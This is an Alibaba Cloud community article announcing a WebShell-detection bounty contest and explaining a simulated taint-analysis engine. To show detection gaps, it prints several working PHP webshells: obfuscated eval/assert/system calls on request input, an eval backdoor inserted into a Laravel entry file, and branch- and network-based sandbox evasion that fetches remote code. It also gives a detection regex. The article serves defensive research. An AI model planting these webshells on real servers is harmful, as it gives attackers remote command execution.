开发者社区> 云安全专家> 正文

“伏魔”赏金 | WebShell检测之「模拟污点引擎」首次公测,邀你来战!

简介: 欢迎参与
+关注继续查看

安全是一个动态的过程,攻防对抗如同在赛博世界里降妖伏魔,其要义是:取彼之长,补己之短。

——伏魔引擎的诞生


伏魔引擎挑战赛


注册时间: 2022.01.10 00:00:00 - 2022.01.24 10:00:00(UTC +8)

比赛时间: 2022.01.17 10:00:00 - 2022.01.24 10:00:00(UTC +8)

主办方:   薪火实验室 & 云安全中心 & ASRC

比赛奖金:比赛奖金:1000 RMB/份有效报告(中国区用户)、150 USD/份有效报告(面向海外用户),赛事组在中场会视赛事情况提升奖金额度。

面向群体:国内、国外白帽群体


活动网址:https://security.alibaba.com/online/detail?type=1&id=114&tab=1


公测背景:


伏魔引擎挑战赛是阿里云安全“宙斯计划——恶意文本检测挑战赛”的延续,整合了宙斯计划近4次公测活动中,2000+安全专家和白帽子们贡献的对抗样本。


作为Webshell检测的集大成者,伏魔(fomo)引擎集静态检测+AI检测+动态沙箱执行检测等多种综合手段为一体,加之锤炼已近2年,新开放公测的模拟污点执行引擎,给挑战者以更高的赏金、更丰富的靶场、更大的舞台,让更多安全专家齐聚一堂探索Webshell攻防领域高峰。


本届活动,我们同时开通了国内和国外的提交通道,同时还邀请了长亭 RealWorld参赛选手。欢迎海内外白帽共襄盛会。


模拟污点检测首度公测


在打磨检测引擎的过程中,我们逐渐意识到传统静态检测和动态检测的困境。基于上千种不同类型的对抗样本,我们打磨出模拟污点执行引擎,它既可以有效应对高级对抗手法,又能有效降低误报率。

要想理解什么是模拟污点执行检测,需要先了解两个概念。解释性脚本语言的执行过程和污点传播检测原理。


PHP执行过程


以PHP为例,脚本语言执行的过程如下:


图片1.png

PHP源代码会经过词法、语法的分析形成抽象语法树(AST),然后解析AST,生成opcodes,最后依次执行opcodes。在这个过程中,所有的源代码都会生成AST。


<?php
$fa = new SplFixedArray($_GET["num"]);
$fa[0] = $_GET["cmd"];
eval($fa->toArray()[0]);
?>


图片2.png

污点传递


污点分析就是分析程序中由污点源引入的数据,在经过数据流处理,传播到污点汇聚点后,是否符合预设的策略。对于Webshell的定义而言,这个策略就是外部可控的值,能否传递进危险函数,从而达到任意代码执行、命令执行的目的。


图片3.png

传统的词法引擎检测方案


PHP源代码会产生AST。通过对AST树进行遍历,可以将$_GET、$_POST等外部可控的变量标记成污点,直至污点传递至危险函数。


但是这种检测方案会产生漏报。以下面代码为例:


<?php
@$_="s"."s"./*-/*-*/"e"./*-/*-*/"r";
@$_=/*-/*-*/"a"./*-/*-*/$_./*-/*-*/"t";
@$_/*-/*-*/($/*-/*-*/{"_P"./*-/*-*/"OS"./*-/*-*/"T"}
[/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]);?>


图片4.png


遇到代码执行、条件判断、函数调用等操作,在AST上仅仅展示一个节点,无法拿到隐藏的恶意代码信息,也就无法进行检测。


面向高对抗样本的模拟污点检测


而模拟污点检测引擎不只是在原始AST树上进行遍历,而是对每个节点进行模拟执行。


这样做的优势是不需要修改原有的zend引擎来适配检测的逻辑,而是专门面向高对抗样本定制的策略。下面我将举个例子,来说明这种方案的优越性。


<?php
// a=whoami

$l = strlen(number_format(-0.01));

substr("11system", $l, 6)($_GET['a']);


图片5.png


number_format函数是7.2版本的不兼容变更,这就意味着此webshell只能运行在php7.2以下的版本。如果动态沙箱为7.2及其以上,则无法计算出恶意代码,从而产生漏报。


除此之外,模拟污点引擎还添加了大量推理执行逻辑,当攻击者有意对抗时,会进行污点传播。

模拟污点引擎的本质是尽量让恶意特征暴露出来:

能直接执行的样本直接运行;不能直接执行的样本模拟执行;不能模拟执行的样本继续推理执行。

看完了模拟污点引擎的优越性,下面我们谈一谈传统静态、动态检测方案的困境。


静态检测难以应对未知威胁


纯静态检测是最早的文本检测手段,自诞生起直到现在还在被大量应用。但其实静态检测的效果取决于对文本特征的提取,特征的维度直接决定误报率和漏报率。在这个章节,我们主要讨论纯源码规则的静态匹配,不包括对文本进行提取AST、opcode等特征再进行静态匹配的情况。


主流的静态检测方法具备检测速度快,普适性好(跨平台、跨版本、跨语言等),实现成本低(理论上只要是黑样本,都可以写规则覆盖)的特点;然而,由于缺乏词法、语法的约束,更易产生误报,同时缺乏对抗性和技术壁垒的特点,使得此类型检测算法在遇到加壳、加密、混淆样本时难以检出,无法形成差异化优势。


正则表达式匹配易误报


<?php 
eval($_POST['shell']);


对于上面的Webshell可以直接写正则表达式进行文本匹配:


(eval|system)\(\$_(POST|GET|REQUEST)\[


利用正则表达式可以很容易对已知恶意样本进行匹配,但缺点也很明显,正则表达式无法进行词法、语法的约束,匹配到的文本不一定能正确的执行。


<?php 
eval($_POST['


如上述代码也会被规则匹配到。


算法二分类检测难以识别混淆对抗


脚本语言具有较强的灵活性,可以进行编码、加壳等混淆代码操作,躲避正则表达式的检测,从而形成漏报。


<?php
function test(){
    $a = base64_decode("YXNzZXJ0");
    $b = "$_GET[1]";
    $a($b);
}
test();
?>


对于上述的Webshell代码,除了写正则表达式检测外,不考虑语义信息,最简单的办法就是用分割符分词,产生词向量。交给算法(机器学习、深度学习),利用大量黑白样本去数据拟合,从而达到检测的目的。


这种方案存在明显不足,对于0day样本(从未在测试集内出现)的场景,无法检出。而攻防本身就对抗激烈,攻击者会事先构造高对抗的Webshell样本,尝试绕过检测引擎。


动态检测环境依赖度高


当对恶意文本的静态特征提取足够准确时,是较为容易检出的。但攻击者通常会采用代码混淆(加壳、编码、加密)阻碍提取特征,所以就需要动态运行跑出所有的特征,从而进行检测。


动态检测算法技术难度高,可以实现更高级复杂的检测技术,同时因真实执行,恶意代码符合语法、词法约束,不强制干预情况下误报极低。然而,由于真实执行需要对整个运行环境进行仿真和定制设计,存在成本高、检测效率低、兼容性差的问题。


以PHP为例,将phpinfo();代码进行编码并加壳混淆。


图片6.png


可以看到混淆成这样,静态检测是很难写规则的,如只针对特定的函数调用进行匹配,那么就会产生误报。所以需要动态执行,将隐藏的特征暴露出来,从而达到检测的目标。通过PHP VLD插件可以拿到PHP生成的OPCODE以及动态运行下的OPCODE调用。


图片7.png


可以看到该样本实际调用了phpinfo,通过动态运行,可以更加精准的检测样本。但不加干扰的动态执行,会遇到各种对抗的挑战。不难理解,攻击者通过构造各种条件,让动态沙箱无法将样本正常运行下去,从而躲避检测。


困境1:缺乏依赖无法运行


PHP、JSP等脚本语言可以通过include语法,引入库函数至当前作用域进行调用。动态沙箱只能拿到当前页面的代码进行运行,从而缺乏依赖,无法正常运行。


<?php
/**
 * Laravel - A PHP Framework For Web Artisans
 *
 * @package  Laravel
 * @author   Taylor Otwell <taylor@laravel.com>
 */

define('LARAVEL_START', microtime(true));

/*
|--------------------------------------------------------------------------
| Register The Auto Loader
|--------------------------------------------------------------------------
|
| Composer provides a convenient, automatically generated class loader for
| our application. We just need to utilize it! We'll simply require it
| into the script here so that we don't have to worry about manual
| loading any of our classes later on. It feels great to relax.
|
*/

require __DIR__.'/../vendor/autoload.php';

/*
|--------------------------------------------------------------------------
| Turn On The Lights
|--------------------------------------------------------------------------
|
| We need to illuminate PHP development, so let us turn on the lights.
| This bootstraps the framework and gets it ready for use, then it
| will load up this application so that we can run it and send
| the responses back to the browser and delight our users.
|
*/

$app = require_once __DIR__.'/../bootstrap/app.php';

/*
|--------------------------------------------------------------------------
| Run The Application
|--------------------------------------------------------------------------
|
| Once we have the application, we can handle the incoming request
| through the kernel, and send the associated response back to
| the client's browser allowing them to enjoy the creative
| and wonderful application we have prepared for them.
|
*/
$a=array($_REQUEST['yydsyyds1']=>"3");

$b=array_keys($a)[0];

eval($b);

$kernel = $app->make(Illuminate\Contracts\Http\Kernel::class);

$response = $kernel->handle(
    $request = Illuminate\Http\Request::capture()
);

$response->send();

$kernel->terminate($request, $response);


这类样本又称为插马(在正常的文件内插入Webshell代码)。一方面在服务器上无新增落盘文件,躲避检测;另一方面可以有效避免沙箱“重放”运行。此样本单独运行,会因找不到依赖报错终止运行。需要对异常等函数调用进行特殊处理才能够将特征暴露出来。


困境2:对抗手段多,引入新攻击面


攻击者会使用分支等绕过手段,根据某外部传入参数,决定某IF条件的判断结果,防止动态沙箱的重录。


示例1- 分支对抗


// 分支对抗
<?php

if($_GET['pass']=="admin") {
    if($_GET['normal'] == "1"){
    $a =  "echo normal" ; // 分支 1
  }else if ($_GET['evil'] == "1") {
    $a = $_GET['cmd']; //  分支 2
  }
}else
{
    $a = "echo normal"; //分支3
}
system($a);
?>


只有当外部传入GET参数 webshell.php?pass=admin&evil=1&cmd=whoami时,才能执行分支2的恶意代码。


动态沙箱拿不到外部的输入,只能执行到分支3的默认逻辑,从而绕过检测。


示例2- 网络对抗


// 网络对抗
<?php
copy("http://webshell.com/1.png",'2.png');
if($_GET['abc']=='firefox'){
    require '2.png';
}
else{
    echo "no file";
}
c();

绝大多数动态沙箱,会进行断网处理,目的是为了安全可控,防止攻击者攻击沙箱。但这种措施同时会引入新的攻击面。攻击者可以将恶意代码藏在远程资源,通过请求远程资源获得恶意代码并执行。


困境3:版本碎片化严重


以PHP和JSP举例,PHP的主流版本为PHP5、PHP7、PHP8,JSP的主流版本为JDK1.6、JDK1.7、JDK1.8、JDK1.9、JDK10、JDK11、JDK12、JDK13、JDK14、Tomcat7、Tomcat8、Tomcat9、Tomcat10。每个版本都具有新特征的增加或者旧版本的遗弃,这样带来的直接问题,防御者需要为每一个版本定制动态沙箱,工程量巨大且难以维护。可以看到下面的Webshell代码,在每个php版本的写法都不一致。


<?php // php5&php7兼容写法
        ${$_GET['var_name']}=$_GET['cmd']; 
        system($a); // $a如何确定有没有赋值?
?>
  
<?php //php5写法,与php7不兼容
        $$_GET['var_name']=$_GET['cmd'];
        system($a);
?>


业内通用做法-执行强制干预


以PHP举例,业内对于上述对抗惯用的做法是,通过Hook PHP的执行函数和Opcode达到强制干预执行流、处理异常等行为。


图片8.png

这种方案遇到新版本的特征,通过修改zend引擎需要不断兼容,工程量巨大。同时如果暴力的进行执行干预、污点传递,容易产生大量误报。


模拟污点检测实现漏/误报的平衡


从“误报”的种类区分,共有两种类型。


•业务性误报:这种类型的误报顾名思义,开发者部署正常的业务代码,检测引擎将其识别为“Webshell”,这个原因是检测引擎对误报的控制程度不够。


•构造性误报:在攻防对抗中,攻击者在尝试构造绕过样本中触发的异常检测点,又或者是在特定版本比较苛刻的利用条件。较业务性误报而言,构造性“误报”大多为对抗过程中的异常层。


这一类型的误报,在实际的业务场景中,开发者不会写这种类型的代码,不会产生业务性误报。举个例子:


<?php
eval($a);  
?>


php 5.3以下版本register_globals默认开启的全局变量配置,url请求?a=phpinfo();即可利用。但是5.3以下版本不是主流版本,一些缺乏安全经验的人第一眼看到此代码以为是误报。


安全是动态博弈的过程,在过度追求高检出的同时,也会引入大量误报。

模拟污点检测的最大优势在于有利于平衡误报和漏报,引擎内置了各种降误报的机制,同时模拟较为真实的运行结果,极大降低了误报率。Webshell检测能力作为基础的云安全能力,服务阿里云的广大客户,如果业务性误报过多,将极大影响客户的使用。


对于客户而言,我们通过市场化、公平公开的赏金挑战赛方式,让旗下安全产品直接接受行业生态的检验,客户在选择产品的时候,可以综合考虑该产品的赏金测评结果,从而做出更好的购买决策。

对于安全产品而言,尤其是攻防类产品,它不是一个静止不变的实体商品,它从研发、交付、到后期维护,本身是一个不断动态变化的实体,需要不断的通过内部视角、外部视角去锤炼安全能力。

对于行业而言,赏金挑战赛不是一锤子买卖,一次锣鼓喧天搞完就结束,而是要长期持续举办。能力强不是自己说说而已,能力水位需要得到外部视角的不断验证。

版权声明:本文内容由阿里云实名注册用户自发贡献,版权归原作者所有,阿里云开发者社区不拥有其著作权,亦不承担相应法律责任。具体规则请查看《阿里云开发者社区用户服务协议》和《阿里云开发者社区知识产权保护指引》。如果您发现本社区中有涉嫌抄袭的内容,填写侵权投诉表单进行举报,一经查实,本社区将立刻删除涉嫌侵权内容。

相关文章
阿里云服务器如何登录?阿里云服务器的三种登录方法
购买阿里云ECS云服务器后如何登录?场景不同,大概有三种登录方式:
9164 0
阿里云服务器如何登录?阿里云服务器的三种登录方法
购买阿里云ECS云服务器后如何登录?场景不同,阿里云优惠总结大概有三种登录方式: 登录到ECS云服务器控制台 在ECS云服务器控制台用户可以更改密码、更换系.
24839 0
阿里云服务器端口号设置
阿里云服务器初级使用者可能面临的问题之一. 使用tomcat或者其他服务器软件设置端口号后,比如 一些不是默认的, mysql的 3306, mssql的1433,有时候打不开网页, 原因是没有在ecs安全组去设置这个端口号. 解决: 点击ecs下网络和安全下的安全组 在弹出的安全组中,如果没有就新建安全组,然后点击配置规则 最后如上图点击添加...或快速创建.   have fun!  将编程看作是一门艺术,而不单单是个技术。
18067 0
如何设置阿里云服务器安全组?阿里云安全组规则详细解说
阿里云安全组设置详细图文教程(收藏起来) 阿里云服务器安全组设置规则分享,阿里云服务器安全组如何放行端口设置教程。阿里云会要求客户设置安全组,如果不设置,阿里云会指定默认的安全组。那么,这个安全组是什么呢?顾名思义,就是为了服务器安全设置的。安全组其实就是一个虚拟的防火墙,可以让用户从端口、IP的维度来筛选对应服务器的访问者,从而形成一个云上的安全域。
17050 0
阿里云服务器ECS远程登录用户名密码查询方法
阿里云服务器ECS远程连接登录输入用户名和密码,阿里云没有默认密码,如果购买时没设置需要先重置实例密码,Windows用户名是administrator,Linux账号是root,阿小云来详细说下阿里云服务器远程登录连接用户名和密码查询方法
21553 0
阿里云服务器安全组设置内网互通的方法
虽然0.0.0.0/0使用非常方便,但是发现很多同学使用它来做内网互通,这是有安全风险的,实例有可能会在经典网络被内网IP访问到。下面介绍一下四种安全的内网互联设置方法。 购买前请先:领取阿里云幸运券,有很多优惠,可到下文中领取。
18684 0
+关注
云安全专家
阿里云安全
335
文章
1
问答
文章排行榜
最热
最新
相关电子书
更多
OceanBase 入门到实战教程
立即下载
阿里云图数据库GDB,加速开启“图智”未来.ppt
立即下载
实时数仓Hologres技术实战一本通2.0版(下)
立即下载